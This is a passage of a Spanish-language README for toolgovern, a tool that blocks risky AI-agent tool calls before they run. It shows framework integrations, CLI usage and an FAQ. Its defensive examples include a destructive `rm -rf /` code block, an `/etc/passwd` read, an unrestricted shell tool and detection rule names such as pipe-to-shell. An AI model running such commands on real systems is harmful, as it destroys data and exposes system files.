La superficie de ejecución de herramientas de CrewAI es crewai.tools.BaseTool -- un run() concreto que valida argumentos y reclama una ranura de conteo de uso, luego llama a un _run() abstracto que una subclase implementa (confirmado contra la rueda real e instalada de crewai 1.15.4, no asumido de una versión anterior). CrewAI sí incluye un registro global de enlaces before_tool_call a nivel de proceso, pero eso es una forma diferente de la puerta por instancia de herramienta, por identidad de agente y por alcance de govern_tool() -- así que este paquete envuelve en el límite de BaseTool en su lugar, el mismo enfoque que usa el adaptador de LangGraph.js anterior. Sin parches de mono: devuelve un nuevo BaseTool con el mismo name, description y args_schema, llamando al run() propio de la herramienta real solo después de que el clasificador permita la llamada. Esto aún no está publicado en PyPI -- instálalo desde el código fuente:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern
pip install -e python
pip install -e integrations/crewai
from crewai import Agent
from crewai.tools import BaseTool
from toolgovern import GovernToolOptions, ScopeDeclaration
from toolgovern_integration_crewai import governed_crewai_tool
class ShellTool(BaseTool):
name: str = "shell"
description: str = "Runs a shell command."
def _run(self, command: str) -> str:
import subprocess
return subprocess.run(command, shell=True, capture_output=True, text=True).stdout
governed_shell = governed_crewai_tool(
ShellTool(),
GovernToolOptions(
scope=ScopeDeclaration(network=False, filesystem=["./workspace"]),
agent_id="research-sub",
session_id="demo-session",
),
)
agent = Agent(role="Researcher", goal="...", backstory="...", tools=[governed_shell])
Consulta integrations/crewai/README.md para el informe completo, incluido por qué no hay un helper plural governed_crewai_tools() (las herramientas de CrewAI se asignan comúnmente por agente con diferentes alcances, por lo que envolver una lista completa con un objeto de opciones compartido es el valor predeterminado incorrecto aquí).
toolgovern-integration-autogen -- Microsoft AutoGen (Python)
Apunta directamente a los dos sitios reales de despacho de AutoGen: GovernedCodeExecutor envuelve cualquier CodeExecutor (LocalCommandLineCodeExecutor, DockerCommandLineCodeExecutor, ...) para que cada CodeBlock sea clasificado por TG01/TG02 antes de que el ejecutor envuelto lo ejecute -- el problema principal que esto aborda, microsoft/autogen#7462, es que LocalCommandLineCodeExecutor escribe código generado por LLM directamente en disco con solo un UserWarning en el momento de la construcción como salvaguarda. governed_autogen_tool() envuelve cualquier autogen_core.tools.Tool en su punto de despacho run_json() en su lugar, el mismo que usan tanto ToolAgent/AssistantAgent. Esto aún no está publicado en PyPI -- instálalo desde el código fuente:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern
pip install -e python
pip install -e integrations/autogen
from autogen_ext.code_executors.local import LocalCommandLineCodeExecutor
from toolgovern import GovernToolOptions, ScopeDeclaration, ToolGovernDenialError
from toolgovern_integration_autogen import GovernedCodeExecutor
real_executor = LocalCommandLineCodeExecutor(work_dir="./coding")
governed = GovernedCodeExecutor(real_executor, GovernToolOptions(scope=ScopeDeclaration()))
# A dangerous block never reaches LocalCommandLineCodeExecutor.execute_code_blocks() at all.
try:
await governed.execute_code_blocks(
[CodeBlock(code="import os; os.system('rm -rf /')", language="python")], CancellationToken()
)
except ToolGovernDenialError as e:
print(f"denied before execution: {e}")
Consulta integrations/autogen/README.md para el informe completo, incluidos veredictos honestos contra problemas ascendentes reales que esto aborda y no aborda -- es un clasificador previo a la ejecución, no una caja de arena: no aplica aislamiento de procesos ni límites de recursos, así que combínalo con DockerCommandLineCodeExecutor (o similar) para un aislamiento genuino.
toolgovern-integration-claude-agent-sdk -- Claude Agent SDK (Python)
Enruta las llamadas de herramientas a través de un enlace real de PreToolUse -- verificado contra el paquete instalado de claude-agent-sdk (claude_agent_sdk/types.py) directamente, no un resumen de documentación. El enlace se activa antes de que cualquier herramienta se ejecute, recibe el nombre de la herramienta y la entrada que el modelo está a punto de invocar, y devuelve un permissionDecision estructurado que el propio CLI aplica, por lo que no hay un sitio de llamada de envoltorio por herramienta que deba acertar o perderse accidentalmente. Esto aún no está publicado en PyPI -- instálalo desde el código fuente:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern
pip install -e python
pip install -e integrations/claude-agent-sdk
pip install claude-agent-sdk
from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient, HookMatcher
from toolgovern import ScopeDeclaration
from toolgovern_integration_claude_agent_sdk import GovernedHookOptions, governed_pretooluse_hook
hook = governed_pretooluse_hook(
GovernedHookOptions(
scope=ScopeDeclaration(filesystem=["/workspace"], network=["api.internal.example.com"]),
agent_id="research-sub",
session_id="demo-session",
)
)
options = ClaudeAgentOptions(hooks={"PreToolUse": [HookMatcher(hooks=[hook])]})
Un veredicto de require-approval no tiene una forma dentro del enlace de pausar para revisión humana asíncrona, por lo que está conectado al mismo PendingApprovalRegistry que incluye el núcleo (consulta la tabla de Aprobación anterior): la decisión se registra de forma duradera primero, un manejador opcional de on_approval_required obtiene una ventana limitada para responder, y si no hay manejador, o se eleva, o se agota el tiempo, el enlace falla de forma cerrada (denegar) con el ID de aprobación pendiente nombrado en el motivo para que pueda resolverse fuera de banda. Consulta integrations/claude-agent-sdk/README.md para el informe completo.
.NET -- ToolGovern.Net y ToolGovern.AgentFramework
Un puerto .NET fiel del núcleo (el mismo clasificador de múltiples reglas -- riesgo de shell, alcance del sistema de archivos, egreso de red, acceso a credenciales, herencia entre agentes, flujo de información -- el registro de alcance solo de intersección, el rastreo firmado con cadena de hash, y la puerta de middleware previa a la ejecución GovernTool()) vive bajo dotnet/ToolGovern, apuntando a net10.0. ToolGovern.AgentFramework se basa en él para controlar las llamadas de herramientas AIFunction de Microsoft Agent Framework (.NET), usando el punto de extensión exacto DelegatingAIFunction al que el propio mantenedor del marco señaló a los integradores en agent-framework#2254. Ninguno de los dos paquetes está publicado en NuGet todavía -- compila desde el código fuente:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern/dotnet/ToolGovern.AgentFramework
dotnet build
using Microsoft.Extensions.AI;
using ToolGovern;
using ToolGovern.AgentFramework;
using ToolGovern.Middleware;
string ReadFile(string path) => File.ReadAllText(path);
AIFunction tool = AIFunctionFactory.Create(ReadFile, "read_file", "Reads a file from the workspace.");
AIFunction governed = tool.WithToolGovern(new GovernToolOptions
{
Scope = new ScopeDeclaration { Network = NetworkScope.False, Filesystem = ["/workspace"] },
AgentId = "research-agent",
});
// Outside the declared scope -- ToolGovernDenialError, ReadFile() never runs.
await governed.InvokeAsync(new AIFunctionArguments { ["path"] = "/etc/passwd" });
Consulta dotnet/ToolGovern.AgentFramework/src/ToolGovern.AgentFramework/README.md para el informe completo, incluido un veredicto honesto de PARTIAL contra agent-framework#2254 (este paquete es una respuesta real y utilizable a la brecha de DX reportada allí, pero no logra por sí mismo una API de marco de primera clase -- el mantenedor dijo tanto en el hilo) y veredictos de FAIL con causa raíz -- N/A en otros cinco problemas etiquetados como .NET que viven en capas de Microsoft.Agents.AI a las que este tipo de envoltorio en el límite de definición de herramientas no tiene alcance.
CLI
npx toolgovern-cli validate ./toolgovern.policy.yml
npx toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny
npx toolgovern-cli audit ./toolgovern-trace.jsonl --verify-chain
npx toolgovern-cli init langgraph

Salida real de la política de ejemplo de este repositorio y el archivo de rastreo generado anteriormente:
$ toolgovern-cli validate ./toolgovern.policy.example.yml
OK ./toolgovern.policy.example.yml is a valid toolgovern policy.
$ toolgovern-cli audit ./toolgovern-trace.jsonl --decision deny
DENY research-sub -> bash [TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private] 2026-08-04T06:15:37.265Z
1 of 2 trace entries matched.
$ toolgovern-cli init langgraph
Scaffolded langgraph integration at toolgovern.langgraph.ts.
Fill in your real tool(s) and confirm the policy path (./toolgovern.policy.yml) before running.
validate verifica la estructura de un archivo de política y las referencias de reglas antes de que se cargue en tiempo de ejecución. audit lee el rastreo local y filtra por ventana de tiempo, decisión, identidad de agente o ID de regla activada. --verify-chain recalcula la firma de cada entrada y confirma que los enlaces prior_trace_id están intactos. init [oma|langgraph] genera un archivo de integración funcional que conecta toolgovern al marco nombrado (o detectado automáticamente), escribiéndolo en el directorio actual a menos que --out indique lo contrario; --force sobrescribe un archivo de generación existente. Consulta docs/trace-format.md y docs/security-model.md para saber exactamente qué prueba y qué no, incluida la bandera opcional --key-file para rastreos con clave HMAC.
Referencia de comandos
| Comando | Banderas | Códigos de salida |
|---|---|---|
validate <policy-file> | --json | 0 válido, 1 inválido/ilegible, 2 argumento faltante |
audit <trace-file> | --since <window>, --decision <allow|deny|require-approval>, --agent <id>, --rule <ruleId>, --verify-chain, --key-file <path>, --json | 0 éxito, 1 fallo de cadena/lectura, 2 bandera/argumento incorrecto |
init [oma|langgraph] | --policy <path>, --out <path>, --force, --json | 0 generado, 1 fallo de escritura/detección, 2 argumento incorrecto |
Los códigos de salida están estructurados a propósito: 0 solo significa que el comando hizo lo que dice, 1 es un fallo en tiempo de ejecución (archivo incorrecto, cadena fallida, error de escritura), 2 es un error de uso (argumento faltante/inválido). Cada salida distinta de cero imprime su error en stderr en modo texto, o como error.message en modo --json, para que un llamador siempre tenga algo concreto sobre lo que actuar.
--json -- salida analizable por agentes
Cada comando anterior también acepta --json, que imprime un objeto JSON en stdout (nada en stderr, tanto en éxito como en fallo) en lugar del texto formateado mostrado anteriormente:
$ toolgovern-cli audit ./toolgovern-trace.jsonl --decision deny --json
{
"ok": true,
"command": "audit",
"data": {
"file": "./toolgovern-trace.jsonl",
"query": { "decision": "deny" },
"matched": 1,
"total": 2,
"entries": [ { "trace_id": "tg_2026-08-04_a7ad0a", "decision": "deny", "rule_fired": ["TG01-pipe-to-shell", "TG03-network-disabled", "TG03-known-paste-relay", "TG03-dns-resolves-private"] } ]
}
}
Esto es lo que permite que otro agente de IA invoque toolgovern-cli programáticamente y analice el resultado de manera confiable, de la misma manera que lo haría un script o un trabajo de CI: ok y el código de salida siempre coinciden, data lleva los objetos reales (filas completas de TraceEntry para audit, cada campo intacto), y los errores caen en un solo campo error.message, el único lugar para verificar qué salió mal. Las formas completas de solicitud/respuesta y ejemplos trabajados para los tres comandos están en packages/toolgovern-cli/README.md.
Servidor MCP
La distribución de Python (toolgovern-cli en PyPI) incluye un servidor de Protocolo de Contexto de Modelo, para que un agente compatible con MCP (Claude Desktop, Claude Code o cualquier otro cliente MCP) pueda llamar a validate y audit directamente en lugar de ejecutar comandos y analizar texto.
pip install "toolgovern-cli[mcp]"
Configuración de Claude Desktop (claude_desktop_config.json):
{
"mcpServers": {
"toolgovern": {
"command": "toolgovern-mcp"
}
}
}
El servidor expone una herramienta, run, que acepta la misma lista de argumentos que pasarías a
toolgovern-cli en la línea de comandos y devuelve su resultado como JSON estructurado — nunca
lanza una excepción, incluso con un archivo defectuoso, un tiempo de espera agotado o una salida que no sea JSON; cada fallo regresa como
{"error": ...} en su lugar:
run(args=["validate", "./toolgovern.policy.yml", "--json"])
Este es un envoltorio genérico de subprocesos alrededor del CLI real, no una segunda implementación de cada
subcomando, por lo que se mantiene sincronizado con validate, audit y cualquier subcomando futuro
automáticamente. Esto es distinto del módulo mcp_trust de toolgovern (ver más abajo), que es una
herramienta del lado del cliente para verificar la confiabilidad de otros servidores MCP a los que un agente se conecta
— esta sección trata sobre toolgovern-cli exponiendo su propio servidor MCP para que los agentes lo llamen. Consulta
python/README.md para los detalles completos de instalación y uso.
Autoalojamiento
Todo en este repositorio se ejecuta enteramente en tu propia máquina o infraestructura. Ninguna carga útil de llamada, argumento, contenido de rastreo o política sale del proceso a menos que el código que escribas lo envíe a algún lugar. No hay dependencia de servidor, ni cuenta, ni nada que requiera registro para usar el middleware o el CLI.
Qué es OSS y qué no es
| Se incluye en este repositorio (Apache 2.0) | Aún no existe |
|---|---|
governTool() middleware, el clasificador TG01-TG05, alcance por agente (ScopeRegistry), el rastreo local firmado, toolgovern-cli | Una interfaz de gestión de políticas alojada para redactar reglas sin tocar código |
| Autoalojable, ninguna carga útil de llamada sale jamás de tu proceso | Informes de cumplimiento/auditoría (reenvío SIEM, políticas de retención, exportación estilo SOC2) |
| Implementaciones de reglas TypeScript totalmente abiertas y legibles | Un panel de cumplimiento a nivel de flota en muchos agentes/repos |
Para ser directo al respecto: este repositorio incluye solo el núcleo OSS. No hay un producto alojado detrás hoy, y nada aquí debe leerse como si implicara que existe uno. Si eso cambia, esta sección cambia con ello, no antes.
Seguridad
docs/security-model.md documenta el pase de modelado de amenazas por el que pasó este repositorio: qué se
encontró (evasiones por ofuscación de argumentos, un ReDoS en la expresión regular de una regla, un error de apertura en la ruta de aprobación),
qué se corrigió con una prueba de regresión que lo demuestra, y qué sigue siendo una limitación divulgada
en lugar de una brecha silenciosa. Reporta una vulnerabilidad según SECURITY.md; por favor no abras un problema
público para una.
Desarrollo
npm install
npm run build
npm run lint && npm run format
npm run typecheck
npm run test:coverage
npm audit --audit-level=high
Para el paquete de Python:
cd python
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest
Comunidad
Aún no hay servidor de Discord o chat. GitHub Issues y Discussions son el lugar para reportar un error, una detección omitida o una regla que se activó cuando no debería. Si el clasificador omite algo en tu propio uso, abre una discusión con el extracto del rastreo; el paquete de reglas está pensado para mejorar a partir de decisiones reales de puerta, no solo del corpus de pruebas.
Preguntas frecuentes
¿Qué es toolgovern y en qué se diferencia de las salvaguardas de llamadas a herramientas de un framework propio? Es una puerta en tiempo de ejecución que verifica cada llamada a herramienta que hace un agente de IA — shell, sistema de archivos, red, acceso a credenciales — contra un clasificador de 35 reglas antes de que la llamada se ejecute, no después. La mayoría de los frameworks de agentes o ejecutan llamadas a herramientas directamente u ofrecen una pausa manual con intervención humana; no incluyen un conjunto de reglas automatizado y divulgado que detecte cosas como una descarga con tubería a shell o un subagente que excede el alcance de su coordinador sin que escribas esa lógica tú mismo. Consulta La brecha que esto cierra y Qué hace para el caso completo.
¿toolgovern hace segura una llamada a herramienta?
No. Una decisión de puerta de allow significa que la llamada se verificó contra el conjunto actual de 35 reglas y
nada se activó — es una verificación contra un conjunto finito y divulgado de reglas, no una garantía de seguridad. Consulta
docs/security-model.md para exactamente qué captura y qué no captura el clasificador.
¿Una llamada a herramienta no reconocida se bloquea por defecto?
No, se permite por defecto. La opción defaultDecision de governTool() tiene como valor predeterminado 'allow',
favoreciendo la usabilidad desde el primer momento. Establece defaultDecision: 'require-approval' o 'deny' si
quieres una postura de cierre ante fallos para cualquier cosa que el clasificador no reconozca.
¿Esto envía mis datos de llamadas a herramientas a algún lugar? No. Todo se ejecuta en el proceso, en tu propia máquina o infraestructura. Ninguna carga útil de llamada, argumento, contenido de rastreo o política sale del proceso a menos que el código que escribas lo envíe a algún lugar — no hay dependencia de servidor ni nada que requiera registro.
¿Funciona con frameworks de agentes de Python o .NET, y cómo lo instalo?
Sí, ambos tienen un puerto central genuino, no un puente que invoca el binario de Node. npm install toolgovern (plus toolgovern-cli para el CLI) cubre TypeScript/JavaScript. El puerto de Python está
publicado en PyPI como toolgovern-cli (pip install toolgovern-cli, consulta
python/README.md) y sus cinco integraciones de frameworks (LangGraph, CrewAI, AutoGen, Microsoft Agent Framework, Claude
Agent SDK) son solo de código fuente por ahora, instala desde el código fuente; el puerto de .NET (dotnet/ToolGovern,
código fuente disponible, aún no en NuGet) incluye un adaptador de Microsoft Agent Framework (.NET). Consulta
Integración de frameworks arriba para la lista completa y qué está realmente
publicado versus solo código fuente hoy.
¿Cómo se compara toolgovern con el Agent Governance Toolkit de Microsoft?
Bastante de cerca en características, honestamente. Ambos hacen reducción de alcance por agente y escriben un
rastro de auditoría a prueba de manipulaciones; la versión de AGT de ambos es más madura (una especificación formal de cadena de delegación, un modelo
de anillos de privilegios, 157 pruebas de conformidad solo para su capa de auditoría). La diferencia real es la forma de despliegue:
toolgovern es una biblioteca que npm install y envuelves con una función, ejecutando 35 reglas que vienen
integradas con cero autoría de políticas; AGT es infraestructura que despliegas, con un motor de políticas (YAML/OPA/Cedar),
un sistema de identidad y una caja de arena de ejecución detrás. Si quieres un conjunto de reglas curado sin nada
que levantar, ese es el caso de toolgovern. Si necesitas una plataforma de gobernanza completa con un contrato de
soporte detrás, AGT es la respuesta más honesta hoy. Consulta
Cómo se compara para la tabla completa,
incluyendo NVIDIA NeMo Relay y el middleware de intervención humana de LangGraph.
¿Detecta cada llamada a herramienta riesgosa? No, y el README lo dice a propósito. Las 35 reglas se verifican honestamente contra un corpus de 116 casos que los mantenedores escribieron (ver Benchmarks abajo) — eso es una afirmación sobre que las reglas hacen lo que fueron diseñadas para hacer, no una afirmación de que cada llamada riesgosa del mundo real se captura. Una técnica fuera del corpus aún podría pasar.
¿Puede un agente invocar toolgovern-cli programáticamente y analizar el resultado él mismo?
Sí — cada comando (validate, audit, init) acepta --json e imprime un solo
objeto { ok, command, data | error } en la salida estándar, nunca dividido entre salida estándar y error estándar, con el código
de salida (0/1/2) siempre coincidiendo con ok. Consulta Referencia de comandos arriba para las formas exactas.
¿Hay una versión alojada? No. Todo lo que existe hoy está en este repositorio, Apache 2.0, solo autoalojado. Consulta Qué es OSS y qué no es para lo que eso incluye y no incluye.
¿Puedo usar toolgovern comercialmente y tengo que abrir el código fuente de lo que construya con él?
Sí, y no. Es Apache 2.0 — puedes usarlo en un producto de código cerrado o comercial sin
abrir el código fuente de tu propio código; la licencia solo requiere preservar los avisos de derechos de autor/licencia y
declarar cambios si modificas el código fuente de toolgovern. Consulta LICENSE para el texto completo.
Contribuciones
Las solicitudes de extracción son bienvenidas. Cada PR pasa por las mismas cuatro puertas de CI que un colaborador debería ejecutar
localmente primero: npm run lint && npm run format, npm run typecheck (estricto, cero @ts-ignore sin explicar),
npm run test:coverage (80% general, 90%+ en los módulos de clasificador y alcance),
y npm audit --audit-level=high. Un PR que falle en cualquiera de ellas no se fusionará. Agregar o cambiar
una regla del clasificador requiere al menos 3 casos de prueba de verdaderos positivos y 3 de verdaderos negativos más una cadena reason
lo suficientemente específica para explicar una denegación sin leer el código fuente de la regla. Detalles completos,
incluyendo cómo cambiar el modelo de herencia de alcance o el esquema de rastreo sin romper sus
garantías, están en CONTRIBUTING.md. Reporta una vulnerabilidad según SECURITY.md, no un problema público.
Licencia
Middleware central, clasificador, alcance y rastreo local: Apache 2.0. Consulta LICENSE.